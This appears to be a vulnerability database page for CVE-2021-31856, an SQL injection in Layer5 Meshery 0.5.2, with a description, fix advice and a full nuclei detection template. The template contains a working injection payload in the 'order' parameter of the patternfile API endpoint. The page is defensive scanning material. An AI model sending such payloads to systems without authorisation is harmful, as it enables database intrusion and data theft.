Browse / CVEs / CVE-2021-31856
CVE-2021-31856· layer5 / meshery· CWE-89
Layer5 Meshery 0.5.2 - SQL Injection
Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
How to confirm it
Send: GET {{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0
Positive when: contains "{{md5({{num}})}}" AND status 200Run it with nuclei: nuclei -id CVE-2021-31856 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-31856
info:
name: Layer5 Meshery 0.5.2 - SQL Injection
author: princechaddha
severity: critical
description: Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
reference:
- https://github.com/ssst0n3/CVE-2021-31856
- https://nvd.nist.gov/vuln/detail/CVE-2021-31856
- https://meshery.io
- https://github.com/layer5io/meshery/pull/2745
- https://github.com/ssst0n3/my_vulnerabilities
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-31856
cwe-id: CWE-89
epss-score: 0.75384
epss-percentile: 0.99519
cpe: cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: layer5
product: meshery
tags: cve2021,cve,sqli,layer5,vuln
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'
- type: status
status:
- 200References
- https://github.com/ssst0n3/CVE-2021-31856
- https://nvd.nist.gov/vuln/detail/CVE-2021-31856
- https://meshery.io
- https://github.com/layer5io/meshery/pull/2745
- https://github.com/ssst0n3/my_vulnerabilities
Use this check only on systems you are authorised to test. Where the data comes from